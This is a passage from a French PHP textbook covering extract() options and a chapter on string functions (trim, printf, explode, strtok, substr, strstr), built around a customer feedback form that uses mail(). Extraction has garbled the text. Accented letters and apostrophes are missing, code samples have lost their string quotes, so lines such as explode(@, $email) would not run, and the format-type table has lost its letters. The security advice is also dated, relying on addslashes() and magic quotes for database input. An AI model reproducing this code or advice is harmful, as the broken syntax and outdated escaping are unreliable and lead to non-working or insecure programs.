Cre une variable dnomme $prefixe cl en cas de collision.


Le paramtre prfixe doit alors tre prcis.

EXTR PREFIX ALL

Prfixe tous les noms de variables avec la valeur indique dans


le paramtre prfixe, qui est alors obligatoire.

EXTR PREFIX INVALID

Prfixe avec la valeur de prfixe les noms de variables qui


seraient sans cela invalides (par exemple les noms de variable
numriques). Vous devez fournir le prfixe.

EXTR IF EXISTS

Nextrait que les variables dj existantes (autrement dit,


remplace les valeurs des variables existantes par les valeurs du
tableau). Cette fonctionnalit permet, par exemple, de convertir
$ REQUEST en un ensemble de variables valides.

EXTR PREFIX IF EXISTS

Ne cre une version prfixe que si la version non prfixe


existe dj.

EXTR REFS

Extrait les variables sous forme de rfrences.

114

Partie I

Utilisation de PHP

Les deux valeurs les plus couramment utilises pour largument type extraction sont
la valeur par dfaut (EXTR OVERWRITE) et EXTR PREFIX ALL. Les deux valeurs suivantes
sont utiles de manire occasionnelle, lorsquune collision particulire est attendue et
que vous voulez "sauter" ou prfixer la cl posant problme. Le fragment de code qui
suit illustre lutilisation de la valeur EXTR PREFIX ALL. Observez la manire dont sont
forms les noms des variables cres : prfixe_cl.
$tableau = array( cle1 => valeur1, cle2 => valeur2, cle3 => valeur3);
extract($tableau, EXTR_PREFIX_ALL, mon_prefixe);
echo "$mon_prefixe_cle1 $mon_prefixe_cle2 $mon_prefixe_cle3";

L encore, le rsultat obtenu lexcution des lignes de codes prcdents est valeur1
valeur2 valeur3.
Pour que la fonction extract() puisse extraire un lment, il faut que la cl de
llment soit un nom de variable valide, ce qui signifie que les cls dont les noms
commencent par des chiffres ou qui contiennent des espaces ne peuvent pas tre extraites.

Pour aller plus loin


Ce troisime chapitre a prsent les fonctions PHP de manipulation de tableau qui nous
apparaissent les plus utiles. Certaines ne sont volontairement pas abordes. Vous trouverez dans le manuel en ligne PHP (http://www.manuelphp.com/php/ref.array.php)
une prsentation exhaustive de toutes les fonctions PHP disponibles.

Pour la suite
Le Chapitre 4 traite des fonctions de manipulation des chanes. Il couvre les fonctions
de recherche, de remplacement, de scission et de fusion de chanes. Il dcrit galement
les puissantes fonctions de traitement des expressions rgulires qui permettent de
raliser quasiment toutes les oprations envisageables sur les chanes.

4
Manipulation de chanes
et dexpressions rgulires
Dans ce chapitre, nous verrons comment utiliser les fonctions PHP de traitement des
chanes pour mettre en forme et manipuler du texte. Nous examinerons galement
lemploi des fonctions de traitement de chanes et dexpressions rgulires pour rechercher
et remplacer des mots, des phrases ou tout autre motif au sein dune chane.
Les fonctions dcrites dans ce chapitre sont utiles dans de nombreux contextes. Vous
vous trouverez sans aucun doute souvent en situation de devoir nettoyer ou mettre en
forme les donnes saisies par les utilisateurs avant de les enregistrer dans une base
de donnes, par exemple. Par ailleurs, les fonctions de recherche sont prcieuses lors de
llaboration dapplications de type moteur de recherche (entre autres).

Application modle : formulaire intelligent de saisie dun message


(Smart Form Mail)
Nous illustrerons notre tude des fonctions de manipulation de chanes et dexpressions
rgulires par le dveloppement dun formulaire intelligent de saisie dun message.
Nous utiliserons les scripts crits au cours de ce chapitre pour complter lapplication
du garage de Bob labore dans les chapitres prcdents.
Notre objectif est ici de dvelopper un formulaire simple, que les clients de Bob pourront utiliser pour faire part de leurs rclamations et de leurs encouragements. Ce formulaire (voir Figure 4.1) est plus labor que la plupart des formulaires de ce type publis
sur le Web (et qui sont lgion). En effet, au lieu de transmettre le formulaire vers une
adresse de courrier lectronique gnrique, telle que commentaires@chezbob.com, nous
ferons appel un processus plus intelligent qui consiste rechercher des mots et des
phrases cls dans ce qui a t saisi par les clients, puis transmettre le message du client

116

Partie I

Utilisation de PHP

lemploy appropri. Si, par exemple, le message transmis par le client contient le mot
"publicit", il sera dirig vers la bote aux lettres du dpartement de marketing. Si le
message mane dun client important, il pourra tre directement transmis Bob.
Figure 4.1
Le formulaire de saisie
dun message du site de Bob
permet aux clients de transmettre leurs commentaires,
aprs avoir saisi leur nom
et leur adresse de courrier
lectronique.

Nous commencerons ce projet par le script simple du Listing 4.1. Nous complterons
ensuite ce script au fur et mesure de notre avance dans ce chapitre.
Listing 4.1 : processfeedback.php Script de base permettant la transmission
du contenu dun formulaire par courrier lectronique
<?php
// Cration de noms abrgs pour les variables
$nom = $_POST[nom];
$email = $_POST[email];
$commentaire = $_POST[commentaire];
// Initialisation de quelques informations statiques
$adresse_dest = "commentaires@exemple.com";
$sujet = "Message provenant du site web";
$contenu_message = "Nom client : " . $nom ."\n" .
"Email client : ". $email . "\n".
"Commentaires client :\n" . $commentaire. "\n";
$adresse_exp = "From: webserver@exemple.com";
// Appel de la fonction mail() pour envoyer le courrier
mail($adresse_dest, $sujet, $contenu_message, $adresse_exp);
?>

Chapitre 4

Manipulation de chanes et dexpressions rgulires

117

<html>
<head>
<title>Le garage de Bob -- Commentaire transmis</title>
</head>
<body>
<h1>Commentaire transmis</h1>
<p>Votre commentaire a t envoy.</p>
</body>
</html>

Notez quen situation relle il faudrait tester si lutilisateur a bien rempli tous les
champs obligatoires, par exemple en utilisant la fonction isset() avant dappeler la
fonction mail(). Ce test a t omis dans le Listing 4.1 et dans les autres exemples par
souci de simplification.
Dans ce script, on concatne les champs du formulaire et on utilise la fonction mail()
de PHP pour transmettre par courrier lectronique la chane rsultante ladresse
commentaires@exemple.com. Il sagit bien sr dune adresse e-mail dexemple : si vous
souhaitez tester le code de ce chapitre, remplacez-la par votre adresse e-mail. Comme
cest la premire fois que nous utilisons la fonction mail(), nous allons nous intresser
son fonctionnement.
Comme son nom le suggre, la fonction mail() transmet des courriers lectroniques
(des e-mails). Voici son prototype :
bool mail(string A, string Objet, string Message,
string [enttes_additionnels]);

Les trois premiers arguments de la fonction mail() sont obligatoires et reprsentent


respectivement ladresse laquelle doivent tre envoys le message, lobjet et le
contenu du message. Le quatrime paramtre permet denvoyer nimporte quel en-tte
supplmentaire valide de courrier lectronique. Vous trouverez une description des enttes e-mails valides dans le document RFC822 qui peut tre consult en ligne (nombre
de standards Internet sont dfinis dans des RFC, Request For Comments, que nous
prsenterons au Chapitre 18). Ici, le quatrime paramtre que nous passons la fonction mail() sert ajouter un champ "From:" (ladresse de provenance) dans le courrier.
Nous aurions galement pu lemployer pour insrer des champs " Reply To:" et "Cc:",
entre autres. Pour ajouter plusieurs en-ttes additionnels, il suffit de les indiquer la
suite sous forme dune chane, en les sparant par des caractres de nouvelle ligne et de
retour chariot (\n\r), comme ici :
$entetes_additionnels ="From: webserver@exemple.com\r\n"
"Reply-To: bob@exemple.com";

Vous pouvez vous servir du cinquime paramtre facultatif pour passer un paramtre au
programme que vous avez configur pour lenvoi de-mails.

118

Partie I

Utilisation de PHP

Pour pouvoir mettre en uvre la fonction mail(), vous devez configurer votre installation PHP pour lui indiquer lexistence de votre programme denvoi des courriers. Si
lexcution de votre script pose problme, relisez attentivement lAnnexe A et vrifiez
votre installation PHP.
Tout au long de ce chapitre, nous amliorerons le script de base du Listing 4.1 en nous
servant de fonctions PHP de manipulation des chanes et dexpressions rgulires.

Mise en forme de chanes


Les chanes saisies par les visiteurs des sites web (gnralement partir dun formulaire HTML) ncessitent souvent dtre nettoyes pour tre exploitables. Les sections
qui suivent prsentent certaines des fonctions permettant deffectuer cette opration.
lagage des chanes : chop(), Itrim() et trim()
La premire tape dans le nettoyage dune chane consiste souvent en liminer tout
espace superflu. Cet lagage nest pas indispensable, mais se rvle souvent trs utile
lorsque les chanes doivent tre enregistres dans un fichier ou dans une base de
donnes ou lorsquelles doivent tre compares avec dautres chanes.
Le langage PHP offre trois fonctions permettant deffectuer ce type de nettoyage. Dans
le cadre de notre application modle, nous utiliserons la fonction trim() pour laguer
les donnes entrantes au moment o lon cre les noms abrgs :
$nom = trim($_POST[nom]);
$email = trim($_POST[email]);
$commentaire = trim($_POST[commentaire]);

La fonction trim() limine les espaces existant en dbut et la fin de la chane qui lui
est fournie en paramtre et retourne la chane ainsi lague. Les caractres despace
supprims par la fonction trim() sont les nouvelles lignes et les retours chariot (\n, \r),
les tabulations horizontales et verticales (\t et \v), les caractres de fin de chane (\0) et
les caractres espaces. Vous pouvez galement passer cette fonction un second paramtre contenant une liste des caractres supprimer la place de cette liste par dfaut.
Selon le but recherch, les fonctions ltrim() ou rtrim() peuvent se rvler plus appropries que la fonction trim(). Comme la fonction trim(), elles prennent toutes les
deux la chane traiter en paramtre et renvoient cette chane mise en forme. En
revanche, alors que la fonction trim() supprime tous les espaces qui encadrent la
chane, la fonction ltrim() limine uniquement les espaces en dbut de chane
(cest--dire la gauche de la chane) tandis que la fonction rtrim() les supprime
uniquement la fin de la chane (cest--dire droite).

Chapitre 4

Manipulation de chanes et dexpressions rgulires

119

Mise en forme des chanes en vue de leur prsentation


PHP offre tout un jeu de fonctions ddies la mise en forme des chanes.
Utilisation du format HTML : la fonction nl2br()
La fonction nl2br() remplace chaque caractre de nouvelle ligne de la chane qui lui
est passe en paramtre par la balise <br />. Cette fonction est prcieuse lorsque de
longues chanes doivent tre affiches dans la fentre du navigateur. Par exemple, nous
utiliserons la fonction nl2br() pour prsenter en retour au client le message quil a
transmis sous une forme acceptable :
<p>Votre commentaire (voir ci-aprs) a t envoy.</p>
<p><?php echo nl2br($contenu_message);?> </p>

Souvenez-vous que, dans le contexte dun codage HTML, lespace est ignore. Par
consquent, en labsence dun traitement par nl2br(), le message du client sera
imprim sous la forme dune seule ligne ( lexception des caractres de nouvelles
lignes imposs par le navigateur lui-mme). La Figure 4.2 illustre ces deux modes
daffichage, avec et sans traitement par nl2br().
Figure 4.2
La fonction PHP nl2br()
permet damliorer la
prsentation des longues
chanes dans du code
HTML.

Mise en forme dune chane pour lafficher


Jusquici, nous avons utilis la construction echo de PHP pour afficher des chanes dans
la fentre du navigateur web.

120

Partie I

Utilisation de PHP

PHP offre galement la fonction print(), qui est analogue la construction echo, sauf
quelle renvoie une valeur (vrai ou faux, selon la russite ou lchec de laffichage).
echo, tout comme print(), affiche la chane "telle quelle". Vous pouvez toutefois appliquer une mise en forme plus sophistique au moyen des fonctions printf() et
sprintf(). Toutes les deux oprent pratiquement de la mme manire, sauf que
printf() affiche la chane mise en forme dans le navigateur, tandis que sprintf()
renvoie cette chane mise en forme.

Ces fonctions ont le mme comportement que leurs quivalents dans le langage C, bien
que leur syntaxe ne soit pas la mme. Si vous navez jamais programm en C, il vous
faudra peut-tre un peu de temps pour vous familiariser avec ces fonctions, mais le jeu
en vaut toutefois la chandelle, compte tenu de leur puissance et de leur utilit.
Les prototypes de ces fonctions sont les suivants :
string sprintf (string format [, mixed paramtres...])
int printf (string format [, mixed paramtres...])

Le premier paramtre requis par ces fonctions est une chane de format dcrivant la
forme de base de la sortie, avec des codes de mise en forme au lieu de variables. Les
autres paramtres sont des variables que PHP viendra insrer dans la chane, en lieu et
place des codes de mise en forme.
Par exemple, avec la fonction echo, nous pouvons afficher une chane en y insrant une
variable, comme suit :
echo "Le montant total de la commande est $total.";

Le mme rsultat peut tre obtenu au moyen de la fonction printf(), de la manire


suivante :
printf ("Le montant total de la commande est %s.", $total);

Le code %s dans la chane de format est une "spcification de conversion". Il indique


PHP quil doit tre remplac par une chane. Dans le cas prsent, il doit tre remplac
par la variable $total qui doit tre interprte comme une chane.
Si la valeur stocke dans $total est 12,4, ces deux approches conduiraient laffichage
de $total sous la forme 12,4.
Lintrt de la fonction printf() est quelle permet dutiliser une spcification de
conversion plus utile. En effet, nous pouvons utiliser printf() en prcisant que $total
est, en ralit, un nombre virgule flottante et que sa valeur doit tre affiche avec deux
dcimales, comme ceci :
printf ("Le montant total de la commande est %.2f", $total);

Avec ce formatage et la valeur 12.4 stocke dans $total, linstruction affichera 12.40.

Chapitre 4

Manipulation de chanes et dexpressions rgulires

121

Une chane de format peut comprendre plusieurs spcifications de conversion. Si vous


avez n spcifications, il doit normalement y avoir n arguments aprs la chane de
format. Chaque spcification de conversion sera remplace par largument reformat
correspondant, dans lordre o ils sont indiqus. Par exemple :
printf ("Montant total: %.2f (dont %.2f de transport)",
$total, $total_transport);

Dans le cas prsent, la premire spcification de conversion utilisera la valeur de


$total et la seconde spcification se servira de la valeur de $total transport.
Chaque spcification de conversion se conforme au format suivant :
%[caractre_remplissage][-][largeur][.prcision]type

Toutes les spcifications de conversion commencent par le symbole %. Pour afficher un


symbole %, vous devrez par consquent utiliser %%.
Le spcificateur caractre remplissage est facultatif. Sil est prcis, il sert
complter la variable jusqu la largeur spcifie. Par exemple, un caractre de remplissage sutilise pour ajouter des zros au dbut de nombres comme les compteurs. Le
caractre de remplissage par dfaut est une espace. Si vous spcifiez une espace ou
zro, vous navez pas besoin de le prfixer avec lapostrophe (). Tous les autres caractres de remplissage doivent tre prfixs par une apostrophe.
Le symbole est facultatif. Il indique que les donnes doivent tre justifies gauche,
au lieu de ltre droite, comme cest le cas par dfaut.
Le spcificateur largeur indique la fonction printf() lespace (en nombre de caractres) rserver pour la variable.
Le spcificateur prcision commence normalement par un point dcimal. Il indique le
nombre de dcimales afficher.
Le type constitue la dernire partie dune spcification de conversion ; il indique le type
des donnes passes en paramtre. Les valeurs possibles pour ce spcificateur sont
prsentes dans le Tableau 4.1.
Tableau 4.1 : Valeurs possibles pour le type dune spcification de conversion

Type

Signification

Largument est trait comme un entier et affich comme un nombre binaire.

Largument est trait comme un entier et affich comme un caractre.

Largument est trait comme un entier et affich comme un nombre dcimal.

122

Partie I

Utilisation de PHP

Tableau 4.1 : Valeurs possibles pour le type dune spcification de conversion (suite)

Type

Signification

Largument est trait comme un double et affich comme un nombre virgule


flottante.

Largument est trait comme un entier et affich comme un nombre octal.

Largument est trait et affich comme une chane.

Largument est trait comme un entier et affich comme un nombre dcimal non
sign.

Largument est trait comme un entier et affich comme un nombre hexadcimal


(en minuscules sil sagit dune lettre).

Largument est trait comme un entier et affich comme un nombre hexadcimal


(en majuscules sil sagit dune lettre).

Il est possible de numroter les paramtres, ce qui permet de passer les paramtres dans
un autre ordre que les spcifications de conversion. Par exemple :
printf ("Montant total : %2\$.2f (dont %1\$.2f de transport)",
$total_transport, $total);

Il suffit dajouter la position du paramtre dans la liste directement aprs le signe %,


suivi dun symbole $ protg par un antislash ; dans le cas prsent, 2\$ signifie donc
"remplacer par le deuxime paramtre de la liste". Ce procd peut aussi tre utilis
pour rpter des paramtres.
Il existe deux versions alternatives de ces fonctions, appeles vprintf() et
vsprintf(). Ces variantes acceptent deux paramtres : la chane de format et un
tableau des paramtres au lieu dun nombre variable de paramtres.
Modification de la casse dune chane
PHP offre la possibilit de modifier la casse dune chane. Dans le cas de lapplication
modle tudie dans ce chapitre, cette possibilit nest gure utile, mais nous examinerons nanmoins quelques exemples simples o elle est trs apprciable.
Considrons pour commencer la chane $sujet qui contient lobjet dun message.
Diverses fonctions sont notre disposition pour en changer la casse. Les effets de ces
diffrentes fonctions sont rsums dans le Tableau 4.2.
La premire colonne indique le nom de la fonction, la deuxime dcrit leffet de la
fonction considre, la troisime montre comment la fonction serait applique
la chane $sujet, tandis que la dernire colonne donne la valeur qui serait renvoye
par la fonction.

Chapitre 4

Manipulation de chanes et dexpressions rgulires

123

Tableau 4.2 : Fonctions de modification de la casse dune chane, avec leurs effets

Fonction

Description

strtoupper() Convertit la chane en

Usage

Valeur retourne

$sujet

Commentaire du site
web

strtoupper($sujet)

COMMENTAIRE
DU SITE WEB

strtolower($sujet)

commentaire du site
web

ucfirst($sujet)

Commentaire du site
web

majuscules.
strtolower() Convertit la chane en

minuscules.
ucfirst()

Met en majuscule la premire


lettre de la chane, si ce
caractre est alphabtique.

ucwords()

ucwords($sujet)
Met en majuscule la premire
lettre de chaque mot de la chane
qui commence par un caractre
alphabtique.

Commentaire Du
Site Web

Mise en forme de chanes en vue de leur enregistrement :


addslashes() et stripslashes()
Si les fonctions de traitement de chane permettent de modifier la prsentation visuelle
des chanes, certaines dentre elles peuvent galement tre employes pour reformater
des chanes dans la perspective de leur enregistrement dans une base de donnes. Bien
que lcriture dans une base de donnes ne soit pas aborde dans cet ouvrage avant la
deuxime partie, nous traiterons ds maintenant de la mise en forme des chanes en vue
de leur stockage dans une base.
Certains caractres dont la prsence est autorise au sein dune chane peuvent se rvler une source de problme, particulirement lors de linsertion des donnes dans une
base de donnes. Une base de donnes interprte en effet certains caractres comme des
caractres de contrle. Les caractres les plus problmatiques sont les apostrophes
(simples et doubles), les barres obliques inverses (\) et le caractre NULL.
Il est par consquent ncessaire de marquer, ou de "protger", ces caractres, de sorte
quune base de donnes telle que MySQL les traite en tant que caractres littraux et
non pas comme des squences de contrle. Pour protger ces caractres, il suffit de les
faire prcder dune barre oblique inverse. Par exemple, le caractre " (apostrophe
double) doit tre not sous la forme \" (barre oblique inverse apostrophe double) et le
caractre \ (barre oblique inverse) doit tre reprsent par \\ (deux barres obliques
inverses successives).

124

Partie I

Utilisation de PHP

Notez que cette rgle sapplique tous les caractres spciaux. Par consquent, si votre
chane contient la squence \\, vous devez enregistrer celle-ci sous la forme \\\\.
PHP offre deux fonctions spcialement ddies la protection des caractres. Avant
dcrire une chane dans une base de donnes, vous devez reformater celle-ci avec la
fonction addslashes(), comme dans lexemple suivant, moins que votre configuration
ne le fasse par dfaut :
$commentaire = addslashes(trim($_POST[commentaire]));

Comme nombre dautres fonctions de traitement de chanes, la fonction addslashes()


prend une chane en paramtre et renvoie la chane reformate.
La Figure 4.3 illustre les transformations ralises par ces fonctions sur les chanes.
Vous pouvez tester ces fonctions sur votre serveur et obtenir un rsultat qui ressemble
plus celui de la Figure 4.4.
Figure 4.3
Aprs traitement par la fonction
addslashes(), toutes les apostrophes
sont prcdes dune barre oblique.
La fonction stripslashes() limine
toutes les barres obliques servant
de caractre dchappement.

Figure 4.4
Tous les caractres problmatiques
ont t protgs deux fois ; cela
signifie que la fonction des apostrophes magiques est active.

Chapitre 4

Manipulation de chanes et dexpressions rgulires

125

Si vous voyez ce rsultat, cela signifie que votre configuration de PHP est dfinie de
manire ajouter et supprimer les barres obliques automatiquement. Cette capacit
est contrle par la directive de configuration magic quotes gpc, qui est active par
dfaut dans les nouvelles versions de PHP. Les lettres gpc correspondent GET, POST et
cookie. Cela signifie que les variables provenant de ces sources sont automatiquement
mises entre apostrophes. Vous pouvez vrifier si cette directive est active dans votre
systme en utilisant la fonction get magic quotes gpc(), qui renvoie true si les chanes provenant de ces sources sont automatiquement places entre apostrophes. Si cette
directive est active sur votre systme, vous devez appeler stripslashes() avant
dafficher les donnes utilisateur ; sans cela, les barres obliques seront affiches.
Lutilisation des guillemets magiques vous permet dcrire du code plus portable. Pour
en apprendre plus sur cette fonction, consultez le Chapitre 22.

Fusion et scission de chanes au moyen des fonctions de traitement


de chane
Il apparat souvent ncessaire dexaminer et de traiter certaines parties dune chane
sparment du reste de la chane. Par exemple, on peut souhaiter examiner les mots
dune phrase (afin den vrifier lorthographe) ou scinder un nom de domaine ou une
adresse de courrier lectronique en ses diffrentes composantes. PHP met votre disposition plusieurs fonctions de traitement de chane (et une fonction de traitement
dexpression rgulire) permettant doprer ce type de manipulation.
Dans le cadre de notre application modle, supposez que Bob veuille recevoir personnellement tous les messages des clients provenant de grosclient.com. Pour exhaucer son
souhait, il suffit de dcomposer ladresse de courrier lectronique fournie par les clients
et dexaminer si elle contient la sous-chane grosclient.com.
Utilisation des fonctions explode(), implode() et join()
explode() est la premire fonction que nous pouvons mettre en uvre pour atteindre
notre objectif. Son prototype est le suivant :
array explode(string sparateur, string entre [, int limite]);

Cette fonction prend une chane comme deuxime paramtre (entre) et dcoupe celleci en se servant du sparateur (de type chane) indiqu en premier paramtre. Les
diffrentes sous-chanes ainsi obtenues sont renvoyes dans un tableau. Vous pouvez
limiter le nombre dlments ainsi produits avec le paramtre facultatif limite.
Dans le cadre de notre application modle, nous pouvons extraire le nom de domaine de
ladresse de courrier lectronique du client grce au code suivant :
$tab_email = explode(@, $email);

126

Partie I

Utilisation de PHP

Lexcution de cette ligne de code dcoupe ladresse de courrier lectronique du client


en deux parties : le nom dutilisateur, qui est enregistr dans $tab email[0], et le nom
de domaine, qui est enregistr dans $tab email[1].
Nous pouvons alors identifier lorigine du client en testant le nom de domaine. Ne reste
plus ensuite qu transmettre le message saisi par le client la personne approprie :
if ($tab_email[1] == "grosclient.com") {
$adresse_dest = "bob@exemple.com";
} else {
$adresse_dest = "commentaires@example.com";
}

Notez que, si le nom de domaine nest pas entirement dfini en lettres minuscules, le
code prcdent ne conduira pas au rsultat recherch. Pour viter ce problme, nous
devons dabord convertir le nom de domaine en majuscules, ou bien en minuscules,
avant deffectuer notre test :
if (strtolower($tab_email[1]) == "grosclient.com") {
$adresse_dest = "bob@exemple.com";
} else {
$adresse_dest = "commentaires@exemple.com";
}

Leffet produit par la fonction explode() peut tre annul avec les fonctions implode()
ou join(). Ces deux fonctions sont identiques (ce sont des alias lune de lautre). Par
exemple, la ligne de code :
$nouveau_email = implode(@, $tab_email);

rassemble tous les lments du tableau $tab email en les reliant par la chane passe
en premier paramtre. Cet appel de fonction est donc trs semblable celui de la fonction
explode() mais il produit le rsultat oppos.
Utilisation de la fonction strtok()
Contrairement la fonction explode(), qui dcompose en une seule fois une chane en
diffrentes parties, la fonction strtok() extrait une une les diffrentes parties dune
chane (lesquelles sont appeles des token, terme pouvant tre traduit par "lexme"). La
fonction strtok() est donc une alternative intressante la fonction explode()
lorsquil sagit de traiter un par un les mots dune chane de caractres.
Le prototype de la fonction strtok() est le suivant :
string strtok(string entre, string sparateur);

Le paramtre sparateur peut tre soit un caractre individuel, soit une chane de
caractres. La chane entre sera scinde au niveau de chacun des caractres spcifis
dans le sparateur et non pas au niveau des occurrences de la chane sparateur
complte (comme cest le cas avec explode).

Chapitre 4

Manipulation de chanes et dexpressions rgulires

127

Lappel de strtok() nest pas aussi simple que le laisse penser son prototype.
Pour obtenir le premier segment dune chane, appelez la fonction strtok() en lui
passant la chane dcomposer et le sparateur utiliser. Pour obtenir les maillons
suivants, il suffit de passer un seul paramtre : le sparateur. La fonction strtok()
conserve en effet un pointeur interne sur la chane qui lui a t passe en paramtre.
Pour rinitialiser le pointeur de strtok(), appelez strtok() en indiquant nouveau le
paramtre entre.
Voici un exemple typique dutilisation de la fonction strtok() :
$mot = strtok($commentaire, " ");
echo $mot . "<br />";
while ($mot!= "") {
$mot = strtok(" ");
echo $mot . "<br />";
};

Comme nous lavons dj mentionn, il serait fortement conseill, ici, de vrifier que le
client a bien rempli les champs du formulaire de message, par exemple au moyen de la
fonction empty(). Ce test nest pas implment dans les exemples de code donns dans
ce chapitre, par souci de concision.
Le code prcdent affiche chaque mot du message saisi par le client sur une ligne
distincte et poursuit le traitement jusqu ce quil ny ait plus de mot. Les chanes vides
sont automatiquement ignores.
Utilisation de la fonction substr()
La fonction substr() permet daccder une sous-chane dune chane en indiquant le
dbut et la fin de la sous-chane. Dans le cadre de lexemple considr ici, cette fonction
na gure dutilit, mais elle se rvle prcieuse lorsquil faut traiter des parties de chanes
ayant un format bien dtermin.
La fonction substr() sutilise avec le prototype suivant :
string substr(string chane, int dbut, int [longueur] );

La fonction substr() renvoie une sous-chane extraite de la chane chane passe en


paramtre.
Pour illustrer lusage de cette fonction, considrons lexemple de chane suivant :
$test = "Votre service client est parfait";

Si la fonction substr() est appele en spcifiant uniquement un nombre positif comme


argument dbut, vous obtiendrez la sous-chane comprise entre la position dbut et la
fin de la chane. Par exemple, lexcution de linstruction :
substr($test, 1);

128

Partie I

Utilisation de PHP

renvoie "otre service client est parfait". Notez que les positions dans la chane
sont numrotes partir de 0, comme dans les tableaux.
Lorsque la fonction substr() est appele en spcifiant uniquement un nombre ngatif
comme argument dbut, vous obtenez la sous-chane comprise entre la fin de la chane
moins "longueur caractres" et la fin de la chane. Par exemple, lexcution de
linstruction :
substr($test, -7);

renvoie la sous-chane "parfait".


Le paramtre longueur permet dindiquer soit le nombre des caractres renvoyer (si
longueur est un nombre positif), soit le caractre final de la sous-chane (si longueur
est un nombre ngatif). Par exemple :
substr($test, 0, 5);

renvoie les cinq premiers caractres de la chane, cest--dire "Votre". La ligne de code
suivante :
echo substr($test, 6, -13);

retourne la sous-chane comprise entre le septime caractre et le treizime caractre


compt partir de la fin de la chane, cest--dire "service client". Le premier caractre tant lemplacement 0, lemplacement 6 correspond donc au septime caractre.

Comparaison de chanes
Jusqu prsent, les seules comparaisons de chanes que nous avons faites se sont limites au test de lgalit entre deux chanes, au moyen de loprateur ==. PHP permet
deffectuer des comparaisons plus sophistiques que nous classerons en deux catgories : les correspondances partielles et les autres. Nous commencerons par tudier ces
dernires, puis nous examinerons dans un second temps les correspondances partielles,
dont nous aurons besoin pour poursuivre le dveloppement de notre application
modle.
Comparaison des chanes : strcmp(), strcasecmp() et strnatcmp()
Ces fonctions permettent dordonner des chanes les unes par rapport aux autres. Elles
sont prcieuses lors du tri de donnes.
Le prototype de la fonction strcmp() est le suivant :
int strcmp(string chane1, string chane2);

La fonction strcmp() compare les deux chanes qui lui sont passes en paramtre et renvoie
0 si elles sont gales, un nombre positif si chane1 vient aprs (ou est suprieure )

Chapitre 4

Manipulation de chanes et dexpressions rgulires

129

chane 2 dans lordre lexicographique et un nombre ngatif dans le cas contraire. Cette
fonction est sensible la casse.

La fonction strcasecmp() est identique strcmp(), sauf quelle nest pas sensible la
casse.
La fonction strnatcmp() et son homologue non sensible la casse strnatcasecmp()
comparent les chanes daprs lordre "naturel", plus proche du comportement humain.
Par exemple, la fonction strcmp() classerait la chane "2" aprs la chane "12", parce
que cette dernire est suprieure dun point de vue lexicographique. En revanche, la
fonction strnatcmp() effectuerait le classement inverse. Vous trouverez plus dinformations sur la notion dordre naturel sur le site http://www.naturalordersort.org/.
Longueur dune chane : la fonction strlen()
Nous pouvons tester la longueur dune chane en faisant appel la fonction strlen().
Celle-ci renvoie la longueur de la chane qui lui est passe en paramtre. Lappel
suivant, par exemple, affichera 7 :
echo strlen("bonjour");

strlen() permet de valider les donnes saisies par lutilisateur. Par exemple, considrons le cas de ladresse de courrier lectronique entre dans notre exemple de formulaire et stocke dans la variable $email. Une des mthodes de base de validation des
adresses de courrier lectronique consiste tester leur longueur. Une adresse de courrier lectronique valide doit compter au moins six caractres (a@a.fr, par exemple),
dans le cas minimaliste dune adresse se composant dun code de pays sans deuxime
niveau de domaine, dun nom de serveur dun seul caractre et dune adresse e-mail
dune seule lettre. On pourrait donc produire un message derreur si ladresse saisie na
pas au moins cette longueur :
if (strlen($email) < 6) {
echo "Cette adresse email est incorrecte.";
exit; // Fin de lexcution du script PHP
}

Il sagit bien sr dune mthode simpliste de validation de linformation. Nous en


verrons de meilleures dans la prochaine section.

Recherche et remplacement de sous-chanes avec les fonctions


de traitement de chanes
On a souvent besoin de vrifier la prsence dune sous-chane dtermine dans une
chane plus longue. Ce type de correspondance partielle est souvent plus utile quun
simple test dgalit.

130

Partie I

Utilisation de PHP

Dans notre exemple de formulaire, nous devons dterminer si le message contient


certains mots-cls pour en dduire le service vers lequel il doit tre dirig. Si nous
souhaitons, par exemple, diriger tous les e-mails o il est question des boutiques de Bob
vers le responsable du rseau de distribution, nous pouvons rechercher les occurrences
du mot "boutique" (ou ses drivs) dans les messages.
Pour faire cette slection, nous disposons des fonctions explode() ou strtok() dj
tudies. Celles-ci permettent de rcuprer des mots dans les messages que nous pourrons
ensuite comparer laide de loprateur dgalit ou de la fonction strcmp().
PHP nous offre toutefois la possibilit daboutir au mme rsultat via un seul appel
dune des fonctions de recherche de chanes ou dexpressions rgulires. Ces fonctions
servent rechercher la prsence dun motif donn dans une chane de caractres. Nous
allons prsent passer en revue chacun de ces jeux de fonctions.
Recherche de sous-chanes dans des chanes : strstr(), strchr(), strrchr()
et stristr()
Pour tester la prsence dune chane dans une autre chane, vous pouvez utiliser lune
ou lautre des fonctions strstr(), strchr(), strrchr() ou stristr().
La fonction strstr() est la plus gnrique et peut tre utilise pour rechercher une
correspondance entre une sous-chane ou un caractre et une chane plus longue. En
PHP, la fonction strchr() est identique la fonction strstr(), bien que son nom
suggre quelle sert rechercher un caractre au sein dune chane (ce qui est bien le
cas en C). En ralit, la fonction strchr() de PHP permet tout autant de rechercher un
caractre quune chane de caractres au sein dune autre chane.
Le prototype de strstr() est le suivant :
string strstr(string botte_de_foin, string aiguille);

La fonction strstr() recherche dans la botte de foin qui lui est passe comme
premier paramtre sil existe l aiguille qui lui est fournie en deuxime paramtre.
Lorsque strstr() tablit une correspondance exacte entre l aiguille et la
botte de foin, elle renvoie la partie de la botte de foin partir de laiguille localise. Dans le cas contraire, strstr() renvoie false. Lorsque plusieurs occurrences de
la sous-chane recherche sont dtectes, strstr() renvoie la partie de la chane qui
commence la premire occurrence de laiguille.
Par exemple, dans le cadre de notre application modle, nous pouvons choisir le destinataire vers lequel un message reu doit tre dirig laide du code suivant :
$adresse_dest = "commentaires@exemple.com";

// la valeur par dfaut

// Modifie $adresse_dest si le critre de slection est satisfait


if (strstr($commentaire, "boutique")) {

Chapitre 4

Manipulation de chanes et dexpressions rgulires

131

$adresse_dest = "distribution@exemple.com";
} else if (strstr($commentaire, "livraison")) {
$adresse_dest = "livraison@exemple.com";
} else if (strstr($commentaire, "facture")) {
$adresse_dest = "comptes@exemple.com";
}

Ce code examine si le message contient certains mots-cls et transmet le-mail la


personne approprie. Si, par exemple, le message dun client contient la phrase "Je nai
pas encore reu la facture de ma dernire commande", la chane "facture" sera dtecte et
le message sera transmis comptes@exemple.com.
Il existe deux variantes de la fonction strstr(). La premire, stristr(), est presque
identique strstr(), sauf quelle nest pas sensible la casse. Elle serait trs utile dans
lexemple considr ici, puisque le client est susceptible de saisir "facture", "Facture",
"FACTURE" ou tout autre mlange de minuscules et de majuscules pour ce mot.
La deuxime variante de la fonction strstr() est strrchr(), qui est elle aussi quasiment identique strstr(), sauf quelle renvoie la botte de foin partir de la
